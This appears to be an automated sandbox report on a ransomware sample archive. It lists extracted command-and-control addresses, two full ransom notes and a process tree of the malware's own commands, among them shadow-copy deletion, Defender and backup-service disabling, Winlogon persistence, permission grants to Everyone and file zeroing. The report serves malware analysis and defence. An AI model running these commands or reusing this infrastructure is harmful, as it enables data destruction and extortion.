Overview

overview

10

Static

static

1

RNSM00466.7z

windows10-2004-x64

10

Analysis

  • max time kernel
    96s
  • max time network
    168s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-10-2024 19:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    RNSM00466.7z

  • Size

    83.9MB

  • MD5

    add9b95cfef4f7b5e89946205f16a572

  • SHA1

    077667fb23e0b48936714b8d4a54f162203a934a

  • SHA256

    133c0ba06c58e2b694c42135545d7554b3d6e37ad752bd6a3fa97b5577cd6033

  • SHA512

    8e69d5e07614b498e3ddc2bb4ce79b734dd215e75dfa72dabb6e138f2e50824975e7af86302d15c988022217968cbb45937d663612640d0025fa25b44570a364

  • SSDEEP

    1572864:yXbfmaPS2DP0IVADQh/BX6xJWyoszrxhh/R88bfax/XOc:+bfmrq/hpqLoszrFR12xX7

Score
10/10
darkcometgandcrablockfilemafiaware666nullmixerredlinesectopratcanadomani2pcagilenetaspackv2backdoordefense_evasiondiscoverydropperevasionexecutionimpactinfostealerpersistenceransomwarerattrojanupx

Malware Config

Extracted

Family

gandcrab

C2

http://gdcbghvjyqy7jclk.onion.top/

Extracted

Family

darkcomet

Botnet

pc

C2

host12365485454.ddns.net:1604

192.168.0.125:1604
Mutex

DC_MUTEX-Q8QDW8F

Attributes
  • InstallPath

    MSDCSC\msdcsc.exe

  • gencode

    locQi1ySlvoS

  • install

    true

  • offline_keylogger

    true

  • persistence

    true

  • reg_key

    micro update

Extracted

Family

nullmixer

C2

http://motiwa.xyz/

Extracted

Family

redline

Botnet

Cana

C2

176.111.174.254:56328

Extracted

Family

redline

Botnet

DomAni2

C2

flestriche.xyz:80

Extracted

Path

C:\ProgramData\Package Cache\{F6080405-9FA8-4CAA-9982-14E95D1A3DAC}v14.30.30704\packages\vcRuntimeMinimum_x86\HowToRestoreMyFiles.txt

Ransom Note
All data in your machine turned to useless binary code. Your databases and important files have been downloaded and will be published after 12 days if not paid. To return files and prevent publishing email us at: [email protected], [email protected] (send copy to both). Tips: *No one else can help you , don't waste your business time. *You ask for proof that we have your data , and you can see our old target that their data have been published. *If not paid after 12 days Google your company name and you will see your private data in there, happy will legal and business challenges of data leak after. *For decryption anyone/any company offering help will get extra fee(some times even more than ours!)added to ours or simplly will scam you (dont pay us after getting test file, lie and scam you) so if you wanna intermediary chose a trusted one to avoid scams, and get your data. *For decryption you send a few sample files for test before any payment. We won't be available for long. Dont play with encrypted files that will corrupt them and make unrecoverable. Use google translate (if you don't know english) Your key: ltwZIOPHyIhhJZVQfLbstDE7PPouSvx1hUHQFsJ7rJ0HVfG98aCv0DwraHgqSaGHMtY2vmpGjIZSF1lApOuP9zHhmYe13JF5QUo/iqHPRhjxLdj9dKKl0YHEHxmUAk5euNjf1oOtjX1hyqnYkOeN+9jHzK1tFP/FwqC4VgAf4uQ=

Extracted

Path

\Device\HarddiskVolume1\Read_Me!_.txt

Ransom Note
All Your Files Encrypted With Strongest Encryption Algorithm ! If You Really Need Your Files Please Send Us E-mail To Get Decryption Tools and Instructions You Must Send Some Locked Files To Us For Decryption Test(Before Paying) ! If You Do Not E-mail Us And Do Not Need Your Files After A whlie Our Servers Will Remove Your Decrypion Keys From Servers !!! Your Unique ID: fJ30ex Email Address: [email protected] Attention!!! Subject Your Unique ID Do Not Edit Or Rename Encrypted Files. If You Do Not E-mail Us After 48 Hours Decryption Fee Will Double. Do Not Try To Decrypt Files By Third-Party Or Data Recovery Softwares It May Damage Files. In Case Of Trying To Decrypt Files With Third-Party Sofwares,This May Make The Decryption Harder So Prices Will Be Rise.

Signatures

  • Darkcomet

    DarkComet is a remote access trojan (RAT) developed by Jean-Pierre Lesueur.

    trojanratdarkcomet
  • Detect LockFile payload 1 IoCs
  • Detect MafiaWare666 ransomware 2 IoCs
  • Disables service(s) 3 TTPs
    evasionexecution
  • GandCrab payload 4 IoCs
  • Gandcrab

    Gandcrab is a Trojan horse that encrypts files on a computer.

    ransomwarebackdoorgandcrab
  • LockFile

    LockFile is a new ransomware that emerged in July 2021 with ProxyShell vulnerabilties.

    ransomwarelockfile
  • MafiaWare666 Ransomware

    MafiaWare666 is ransomware written in C# with multiple variants.

    ransomwaremafiaware666
  • Modifies WinLogon for persistence 2 TTPs 2 IoCs
    persistence
  • Modifies firewall policy service 3 TTPs 6 IoCs
    evasion
  • Modifies security service 2 TTPs 2 IoCs
    evasion
  • NullMixer

    NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.

    droppernullmixer
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 3 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 3 IoCs
  • Windows security bypass 2 TTPs 4 IoCs
    evasiontrojan
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • Disables RegEdit via registry modification 2 IoCs
    evasion
  • Modifies Windows Firewall 2 TTPs 5 IoCs
    evasion
  • Sets file to hidden 1 TTPs 4 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • ASPack v2.12-2.42 2 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 25 IoCs
  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
    discovery
  • Obfuscated with Agile.Net obfuscator 2 IoCs

    Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.

    agilenet
  • Unexpected DNS network traffic destination 3 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Windows security modification 2 TTPs 4 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 8 IoCs
    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Drops desktop.ini file(s) 1 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Looks up external IP address via web service 14 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Program crash 5 IoCs
  • Uses Tor communications 1 TTPs

    Malware can proxy its traffic through Tor for more anonymity.

  • Enumerates processes with tasklist 1 TTPs 3 IoCs
    discovery
  • Suspicious use of SetThreadContext 5 IoCs
  • UPX packed file 27 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Program Files directory 48 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 35 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Gathers system information 1 TTPs 2 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 42 IoCs
    evasion
  • Modifies registry class 4 IoCs
  • Modifies registry key 1 TTPs 3 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 6 IoCs
    evasion
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Views/modifies file attributes 1 TTPs 4 IoCs
    evasion

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\RNSM00466.7z
    1⤵
    • Modifies registry class
    PID:3564
  • C:\Windows\system32\OpenWith.exe
    C:\Windows\system32\OpenWith.exe -Embedding
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    PID:4916
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:2004
    • C:\Program Files\7-Zip\7zFM.exe
      "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\RNSM00466.7z"
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
      1⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3916
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4772
        • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.MSIL.Blocker.gen-1d782dec1452bd53c9362bc4c4a0a09d7585e728d1bf10556ae1ed9cd195bd72.exe
          HEUR-Trojan-Ransom.MSIL.Blocker.gen-1d782dec1452bd53c9362bc4c4a0a09d7585e728d1bf10556ae1ed9cd195bd72.exe
          3⤵
          • Drops startup file
          • Executes dropped EXE
          • Adds Run key to start application
          PID:3176
        • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.MSIL.Blocker.gen-5d1c8eb7795ec2c5bfc7d1bca5f3b23887d1e264554d55f1c98858033a32973f.exe
          HEUR-Trojan-Ransom.MSIL.Blocker.gen-5d1c8eb7795ec2c5bfc7d1bca5f3b23887d1e264554d55f1c98858033a32973f.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3920
          • C:\Windows\SysWOW64\cmd.exe
            "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
            4⤵
            • System Location Discovery: System Language Discovery
            PID:2304
            • C:\Windows\SysWOW64\reg.exe
              REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
              5⤵
              • System Location Discovery: System Language Discovery
              PID:832
          • C:\Users\Admin\AppData\Roaming\MAINPROC.exe
            "C:\Users\Admin\AppData\Roaming\MAINPROC.exe"
            4⤵
              PID:4920
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
                5⤵
                  PID:6916
                  • C:\Windows\SysWOW64\reg.exe
                    REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
                    6⤵
                      PID:6764
                  • C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe
                    "C:\Users\Admin\AppData\Local\Temp\InstallUtil.exe"
                    5⤵
                      PID:6320
                    • C:\Users\Admin\AppData\Local\Temp\SMSS.exe
                      "C:\Users\Admin\AppData\Local\Temp\SMSS.exe"
                      5⤵
                        PID:4744
                        • C:\Users\Admin\AppData\Local\Temp\SMSS.exe
                          "C:\Users\Admin\AppData\Local\Temp\SMSS.exe"
                          6⤵
                            PID:1532
                            • C:\Users\Admin\AppData\Roaming\MAINPROC.exe
                              "C:\Users\Admin\AppData\Roaming\MAINPROC.exe"
                              7⤵
                                PID:2876
                          • C:\Windows\SysWOW64\cmd.exe
                            "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
                            5⤵
                              PID:620
                              • C:\Windows\SysWOW64\reg.exe
                                REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
                                6⤵
                                  PID:6568
                              • C:\Windows\SysWOW64\cmd.exe
                                "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
                                5⤵
                                  PID:4120
                                  • C:\Windows\SysWOW64\reg.exe
                                    REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
                                    6⤵
                                      PID:7520
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
                                    5⤵
                                      PID:3880
                                      • C:\Windows\SysWOW64\reg.exe
                                        REG ADD "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /f /v "Shell" /t REG_SZ /d "explorer.exe,C:\Users\Admin\AppData\Roaming\MAINPROC.exe,"
                                        6⤵
                                          PID:7580
                                  • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.MSIL.Blocker.gen-662c66c5f4687bb2537e99aed7b4911caa4a7ce083023171b3725e6379bc137d.exe
                                    HEUR-Trojan-Ransom.MSIL.Blocker.gen-662c66c5f4687bb2537e99aed7b4911caa4a7ce083023171b3725e6379bc137d.exe
                                    3⤵
                                    • Executes dropped EXE
                                    PID:3912
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5; Remove-Item -Path "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.MSIL.Blocker.gen-662c66c5f4687bb2537e99aed7b4911caa4a7ce083023171b3725e6379bc137d.exe" -Force
                                      4⤵
                                        PID:6284
                                      • C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan-Ransom.MSIL.Blocker.gen-662c66c5f4687bb2537e99aed7b4911caa4a7ce083023171b3725e6379bc137d.exe
                                        C:\Users\Admin\AppData\Local\Temp\HEUR-Trojan-Ransom.MSIL.Blocker.gen-662c66c5f4687bb2537e99aed7b4911caa4a7ce083023171b3725e6379bc137d.exe
                                        4⤵
                                          PID:4036
                                      • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.MSIL.Gen.gen-bc71673003e3f83761875c04ccbefc29e92cf94bb402037ca03476a527790196.exe
                                        HEUR-Trojan-Ransom.MSIL.Gen.gen-bc71673003e3f83761875c04ccbefc29e92cf94bb402037ca03476a527790196.exe
                                        3⤵
                                        • Executes dropped EXE
                                        • Drops desktop.ini file(s)
                                        • System Location Discovery: System Language Discovery
                                        PID:3908
                                      • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.MSIL.Posh.gen-ca9a834fba508a7c018011d1f72eeca5f2c828767223c1609c0076d32980c720.exe
                                        HEUR-Trojan-Ransom.MSIL.Posh.gen-ca9a834fba508a7c018011d1f72eeca5f2c828767223c1609c0076d32980c720.exe
                                        3⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1184
                                      • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Blocker.pef-b543bd1e583a337e8756c6cbcc881f552ae4ea6a1571d95def47b3ab2cdce608.exe
                                        HEUR-Trojan-Ransom.Win32.Blocker.pef-b543bd1e583a337e8756c6cbcc881f552ae4ea6a1571d95def47b3ab2cdce608.exe
                                        3⤵
                                        • Checks computer location settings
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious use of WriteProcessMemory
                                        PID:828
                                        • C:\Users\Admin\AppData\Local\Temp\zbhnd.exe
                                          "C:\Users\Admin\AppData\Local\Temp\zbhnd.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:1124
                                      • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-3219d6a14f6c43b7221392c145b2dca4a091a101fea05bc487c34de66f871e27.exe
                                        HEUR-Trojan-Ransom.Win32.Crypmodadv.vho-3219d6a14f6c43b7221392c145b2dca4a091a101fea05bc487c34de66f871e27.exe
                                        3⤵
                                        • Executes dropped EXE
                                        • Drops file in Program Files directory
                                        PID:4868
                                      • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Cryptoff.vho-d7e443c0904c997bf54c44d8e2cb57f1b6e9e8e9243bb8f754c74e595cd9067f.exe
                                        HEUR-Trojan-Ransom.Win32.Cryptoff.vho-d7e443c0904c997bf54c44d8e2cb57f1b6e9e8e9243bb8f754c74e595cd9067f.exe
                                        3⤵
                                        • Executes dropped EXE
                                        • Adds Run key to start application
                                        PID:2092
                                      • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.GandCrypt.gen-f6b1f19443119dbc4006a4a0bafc8d8111441f285afc5630b412726889275992.exe
                                        HEUR-Trojan-Ransom.Win32.GandCrypt.gen-f6b1f19443119dbc4006a4a0bafc8d8111441f285afc5630b412726889275992.exe
                                        3⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:5112
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -u -p 5112 -s 480
                                          4⤵
                                          • Program crash
                                          PID:3804
                                      • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.GandCrypt.pef-58988a119a477326ec0a3ce03b6ab919e6d98ba634c50516ca2c11537dde9138.exe
                                        HEUR-Trojan-Ransom.Win32.GandCrypt.pef-58988a119a477326ec0a3ce03b6ab919e6d98ba634c50516ca2c11537dde9138.exe
                                        3⤵
                                        • Executes dropped EXE
                                        • Adds Run key to start application
                                        • Enumerates connected drives
                                        • System Location Discovery: System Language Discovery
                                        • Checks processor information in registry
                                        • Suspicious use of WriteProcessMemory
                                        PID:3576
                                        • C:\Windows\SysWOW64\nslookup.exe
                                          nslookup nomoreransom.bit dns1.soprodns.ru
                                          4⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:420
                                        • C:\Windows\SysWOW64\nslookup.exe
                                          nslookup emsisoft.bit dns1.soprodns.ru
                                          4⤵
                                            PID:5748
                                          • C:\Windows\SysWOW64\nslookup.exe
                                            nslookup gandcrab.bit dns1.soprodns.ru
                                            4⤵
                                              PID:6272
                                            • C:\Windows\SysWOW64\nslookup.exe
                                              nslookup nomoreransom.bit dns1.soprodns.ru
                                              4⤵
                                                PID:5776
                                                • C:\Windows\System32\Conhost.exe
                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  5⤵
                                                    PID:4916
                                                • C:\Windows\SysWOW64\nslookup.exe
                                                  nslookup emsisoft.bit dns1.soprodns.ru
                                                  4⤵
                                                    PID:6244
                                                  • C:\Windows\SysWOW64\nslookup.exe
                                                    nslookup gandcrab.bit dns1.soprodns.ru
                                                    4⤵
                                                      PID:7404
                                                    • C:\Windows\SysWOW64\nslookup.exe
                                                      nslookup nomoreransom.bit dns1.soprodns.ru
                                                      4⤵
                                                        PID:5024
                                                    • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-075c9f1b94d9379b0fe799f2aee76605941cc7d0871e4f16c736b96b4a87b8dd.exe
                                                      HEUR-Trojan-Ransom.Win32.Generic-075c9f1b94d9379b0fe799f2aee76605941cc7d0871e4f16c736b96b4a87b8dd.exe
                                                      3⤵
                                                      • Executes dropped EXE
                                                      PID:4628
                                                    • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-1c4c04a2930190aac571a48fc1c0bba239f769b009d2132f3083799291d173d2.exe
                                                      HEUR-Trojan-Ransom.Win32.Generic-1c4c04a2930190aac571a48fc1c0bba239f769b009d2132f3083799291d173d2.exe
                                                      3⤵
                                                      • Checks computer location settings
                                                      • Executes dropped EXE
                                                      PID:3136
                                                      • C:\Windows\System32\taskkill.exe
                                                        "C:\Windows\System32\taskkill.exe" /F /IM Raccine.exe
                                                        4⤵
                                                        • Kills process with taskkill
                                                        • Suspicious use of AdjustPrivilegeToken
                                                        PID:4352
                                                      • C:\Windows\System32\taskkill.exe
                                                        "C:\Windows\System32\taskkill.exe" /F /IM RaccineSettings.exe
                                                        4⤵
                                                        • Kills process with taskkill
                                                        PID:3496
                                                      • C:\Windows\System32\schtasks.exe
                                                        "C:\Windows\System32\schtasks.exe" /DELETE /TN "Raccine Rules Updater" /F
                                                        4⤵
                                                          PID:1408
                                                        • C:\Windows\System32\sc.exe
                                                          "C:\Windows\System32\sc.exe" config SQLTELEMETRY start= disabled
                                                          4⤵
                                                          • Launches sc.exe
                                                          PID:392
                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Get-CimInstance Win32_ShadowCopy | Remove-CimInstance
                                                          4⤵
                                                            PID:2116
                                                          • C:\Windows\System32\sc.exe
                                                            "C:\Windows\System32\sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled
                                                            4⤵
                                                            • Launches sc.exe
                                                            PID:2444
                                                          • C:\Windows\System32\sc.exe
                                                            "C:\Windows\System32\sc.exe" config SQLWriter start= disabled
                                                            4⤵
                                                            • Launches sc.exe
                                                            PID:4456
                                                          • C:\Windows\System32\sc.exe
                                                            "C:\Windows\System32\sc.exe" config SstpSvc start= disabled
                                                            4⤵
                                                            • Launches sc.exe
                                                            PID:2264
                                                          • C:\Windows\System32\sc.exe
                                                            "C:\Windows\System32\sc.exe" config MBAMService start= disabled
                                                            4⤵
                                                            • Launches sc.exe
                                                            PID:2144
                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled
                                                            4⤵
                                                            • Command and Scripting Interpreter: PowerShell
                                                            PID:5304
                                                          • C:\Windows\System32\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin
                                                            4⤵
                                                              PID:5176
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c rd /s /q D:\\$Recycle.bin
                                                              4⤵
                                                                PID:2320
                                                              • C:\Windows\System32\sc.exe
                                                                "C:\Windows\System32\sc.exe" config Dnscache start= auto
                                                                4⤵
                                                                • Launches sc.exe
                                                                PID:7208
                                                              • C:\Windows\System32\sc.exe
                                                                "C:\Windows\System32\sc.exe" config fdPHost start= auto
                                                                4⤵
                                                                • Launches sc.exe
                                                                PID:6032
                                                              • C:\Windows\System32\sc.exe
                                                                "C:\Windows\System32\sc.exe" config FDResPub start= auto
                                                                4⤵
                                                                • Launches sc.exe
                                                                PID:5388
                                                              • C:\Windows\System32\sc.exe
                                                                "C:\Windows\System32\sc.exe" config SSDPSRV start= auto
                                                                4⤵
                                                                • Launches sc.exe
                                                                PID:6264
                                                              • C:\Windows\System32\sc.exe
                                                                "C:\Windows\System32\sc.exe" config upnphost start= auto
                                                                4⤵
                                                                • Launches sc.exe
                                                                PID:7604
                                                              • C:\Windows\System32\netsh.exe
                                                                "C:\Windows\System32\netsh.exe" advfirewall firewall set rule group="Network Discovery" new enable=Yes
                                                                4⤵
                                                                • Modifies Windows Firewall
                                                                PID:6160
                                                              • C:\Windows\System32\netsh.exe
                                                                "C:\Windows\System32\netsh.exe" advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
                                                                4⤵
                                                                • Modifies Windows Firewall
                                                                PID:7428
                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol
                                                                4⤵
                                                                  PID:3416
                                                                  • C:\Users\Admin\AppData\Local\Temp\FF90D57B-7B58-420C-A1F8-28E6D240A009\dismhost.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\FF90D57B-7B58-420C-A1F8-28E6D240A009\dismhost.exe {7447A9F1-0624-41A4-A5B1-B2B0A33917C3}
                                                                    5⤵
                                                                      PID:5368
                                                                  • C:\Windows\SYSTEM32\mountvol.exe
                                                                    "mountvol.exe"
                                                                    4⤵
                                                                      PID:7368
                                                                    • C:\Windows\System32\mountvol.exe
                                                                      "C:\Windows\System32\mountvol.exe" A: \\?\Volume{f9c79713-0000-0000-0000-100000000000}\
                                                                      4⤵
                                                                        PID:6912
                                                                      • C:\Windows\System32\mountvol.exe
                                                                        "C:\Windows\System32\mountvol.exe" B: \\?\Volume{f9c79713-0000-0000-0000-d01200000000}\
                                                                        4⤵
                                                                          PID:7280
                                                                        • C:\Windows\System32\mountvol.exe
                                                                          "C:\Windows\System32\mountvol.exe" E: \\?\Volume{f9c79713-0000-0000-0000-f0ff3a000000}\
                                                                          4⤵
                                                                            PID:4560
                                                                          • C:\Windows\System32\mountvol.exe
                                                                            "C:\Windows\System32\mountvol.exe" G: \\?\Volume{06ef8add-84ce-11ef-b9c1-806e6f6e6963}\
                                                                            4⤵
                                                                              PID:3996
                                                                              • C:\Windows\System32\Conhost.exe
                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                5⤵
                                                                                  PID:2116
                                                                              • C:\Windows\System32\icacls.exe
                                                                                "C:\Windows\System32\icacls.exe" "C:*" /grant Everyone:F /T /C /Q
                                                                                4⤵
                                                                                • Modifies file permissions
                                                                                PID:7436
                                                                              • C:\Windows\System32\icacls.exe
                                                                                "C:\Windows\System32\icacls.exe" "D:*" /grant Everyone:F /T /C /Q
                                                                                4⤵
                                                                                • Modifies file permissions
                                                                                PID:7516
                                                                              • C:\Windows\System32\icacls.exe
                                                                                "C:\Windows\System32\icacls.exe" "Z:*" /grant Everyone:F /T /C /Q
                                                                                4⤵
                                                                                • Modifies file permissions
                                                                                PID:6616
                                                                              • C:\Windows\System32\notepad.exe
                                                                                "C:\Windows\System32\notepad.exe" C:\Users\Admin\Desktop\HowToRestoreMyFiles.txt
                                                                                4⤵
                                                                                • Opens file in notepad (likely ransom note)
                                                                                PID:5192
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c shutdown /s /t 5
                                                                                4⤵
                                                                                  PID:7396
                                                                                  • C:\Windows\system32\shutdown.exe
                                                                                    shutdown /s /t 5
                                                                                    5⤵
                                                                                      PID:6284
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”
                                                                                    4⤵
                                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                                    PID:2876
                                                                                    • C:\Windows\system32\PING.EXE
                                                                                      ping 127.0.0.7 -n 3
                                                                                      5⤵
                                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                                      • Runs ping.exe
                                                                                      PID:5168
                                                                                    • C:\Windows\system32\fsutil.exe
                                                                                      fsutil file setZeroData offset=0 length=524288 “%s”
                                                                                      5⤵
                                                                                        PID:3572
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-1c4c04a2930190aac571a48fc1c0bba239f769b009d2132f3083799291d173d2.exe
                                                                                      4⤵
                                                                                        PID:5564
                                                                                        • C:\Windows\system32\choice.exe
                                                                                          choice /C Y /N /D Y /T 3
                                                                                          5⤵
                                                                                            PID:2304
                                                                                      • C:\Users\Admin\Desktop\00466\HEUR-Trojan-Ransom.Win32.Generic-6fa73224f2f164fc88fb703eaa71d2be8f044eb8662d6100de682dc6871a7236.exe
